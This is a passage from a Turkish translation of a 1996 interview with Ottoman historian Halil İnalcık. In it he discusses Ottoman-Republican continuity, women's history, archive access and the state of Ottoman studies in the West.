mevcuttur. Türk milli devletinin kurucusu olan Atatürk, tıpkı imparatorluktan bağımsızlığını kazanan diğer devletler gibi, padişahlığa karşı savaşmıştır. Bazıları da kültürel bir devamlılığa inanmaktadır ki ben de bu kanaatteyim. Yeni Türkiye kendisinin kültürel olarak Osmanlı İmparatorluğu’nun devamı olarak görmektedir. Fakat Türkiye Cumhuriyeti’nin kurulmasıyla Osmanlı İmparatorluğu’ndan siyasi açıdan kesin bir şekilde kopuş gerçekleşmiştir. Osmanlı tarihinin Türkiye’de ve Batı’da yorumlanması, bu önemli noktayla ilgili anlayışımıza dayanmaktadır.

Çalışmalarınızda kadınlardan nadiren bahsediyorsunuz. Osmanlı tarihinde kadın çalışmalarıyla ilgili yorumlarınız nelerdir?

Memnuniyetle müşahede ediyoruz ki son on yıllarda Osmanlı-Türk toplumunda kadının yeri konusunda duyulan ilgi giderek artmaktadır. 1993’te Lislie Pierce, Topkapı Sarayı Arşivi’ndeki vesikalara dayanarak Harem kadınları ve bunların siyasi rolü konusundaki çalışmalarını yayımladı. Aynı yıl Topkapı Sarayı’nda Osmanlı Türk Toplumunda Kadın konulu bir sergi düzenlendi. Ronald Jennings, Suraiya Faroqhi, Ammon Cohen gibi tarihçilerin araştırmalar yaptığı kadı sicilleri, kadınların tarihi konusundaki vesikalar açısından mümbit bir zemin oluşturmaktadır.

İslamî uyanışın Türkiye’deki Osmanlı çalışmalarında bir etkisi var mıdır?

Şu an İslamî geçmişe karşı daha büyük bir ilgi var. Bu da Osmanlı-Türk geçmişiyle ilgili çalışmaların çoğalmasında olumlu bir etki meydana getiriyor; çünkü ilahiyat ve tarih fakültelerinden eski el yazmalarını ve arşiv vesikalarını okuyabilecek araştırmacılar çıkıyor. Şahsen vesikalar daha yaygın bir şekilde kullanılabiliyor.

Emekli olduktan sonra Türkiye’ye dönmeyi düşündünüz mü?

1992’de Bilkent Üniversitesi bana bir tarih bölümü kurma önerisi getirdi. Bu hayli iddialı teklifi kabul edip Ankara’ya taşındım. Benim yaşımdaki bir insanın böylesi bir sorumluluğun altında girmesini anormal bulabilirsiniz, ama ben bundan hoşlanıyorum. Üç binden fazla kitaptan oluşan kütüphanemi şu an kamuya açık olan Bilkent Üniversitesi Kütüphanesi’ne bağışladım.

Osmanlılar çalışan Amerikalı öğrencilerle ilgili kanaatleriniz nelerdir?

 Bu ülkedeki öğrencilerin doğu dillerini hızla ve güzel bir biçimde öğrenmelerine şaşırdım ve bundan etkilendim. Arapça, Türkçe ve Farsça kaynakları okumada hayli yetkinler ve orijinal çalışmalar ortaya koyabiliyorlar. Öğrencilerim arasında Osmanlıcayı iki yılda mükemmelen öğrenenler var. Bazıları doktrinlerden ve modellerden çokça etkileniyorlar, fakat çoğu vesikalara dayalı ampirik çalışmalar yapıyorlar. Çoğunlukla toplumsal ve iktisadi tarih alanlarına yoğunlaşıyorlar. Yakın gelecekte elimizde daha çok ampirik çalışma olunca, Osmanlı toplumsal ve iktisadi yapısına ve bu alanlardaki değişime vurguda bulunan, yeni sentezlere ve durumlara ulaşabileceğimiz ümidindeyim. Son dönem tarih-yazımındaki genel eğilim budur. Dolaysıyla ben de ümitliyim.

Türk tarihini yalnızca Türklerin yazabileceği düşüncesine katılıyor musunuz?

Hayır. Özerk, bağımsız ve ilmî geleneklere sahip olan Batı üniversitelerinin bizim sahamızda çok yetkin tarihçiler yetiştirdiği konusunda ikna olmuş durumdayım. Türkiye’de meslektaşlarımızla çok güzel işbirliğimiz mevcut. Son dönemlerin en istikbal vadeden gelişmelerinden biri, arşivlere ulaşmanın kolaylaşması ve hızlanmasıdır. Bunun, kısmen benim yıllardır süren gayretlerimle mümkün olduğunu belirtmeme lütfen müsaade edin. Beş yıl önce İstanbul’da Türk arşivleri üzerine konferans düzenledik ve o zamanki başbakanı Turgut Özal’ı da davet ettik. Değişim o zaman başladı. Türk arşivlerinin modernleştirilmesi için büyük meblağlar ayrıldı; yüzlerce genç işe alınıp arşiv uzmanı olarak yetiştirildi ve birçok yeni koleksiyon, araştırmacıların hizmetine sunuldu.

Avrupa’da, İkinci Dünya Savaşı’nı müteakip otuz veya kırk yıl boyunca Osmanlı çalışmaları bir düşüş içerisindeydi; fakat şu an Fransa, Almanya ve İngiltere’de tam tersi bir yükseliş içerisinde. Osmanlı çalışmalarıyla ilgili en iyi dergi Turcica Fransa’da hazırlanıyor. Münih’te iyi eğitimli, üretken, genç bir Osmanlı araştırmacısı grup var. Belli başlı üniversitelerinde Osmanlı tarihiyle ilgili programları olan ve çok yetenekli genç tarihçiler çıkaran İngiltere’yi de unutmayalım. Dolayısıyla bütün bunlar Osmanlı çalışmalarının geleceği ile ilgili büyük ümitler veriyor.

Bu mülakat, 1996 yılında Nancy Elizabeth Gallagher tarafından hazırlanan Approches to History of the Middle East: İnterviews with Leading Middle East Historians (Orta Doğu Tarihine Yaklaşımlar: Önde Gelen Orta Doğu Tarihçileriyle Mülakatlar) başlıklı kitapta yayımlanan ve Prof. Dr. Halil İnalcık ile yapılmış röportajın bir kısmının İzzet Akyol tarafından yapılan çevirisidir.

Kaynak: Halil İnalcık, Tarihe Düşen Notlar; Röportajlar 1958-2015, Timaş Yayınları, 2015, Cilt 2, 21- 28

Bir Cevap Yazın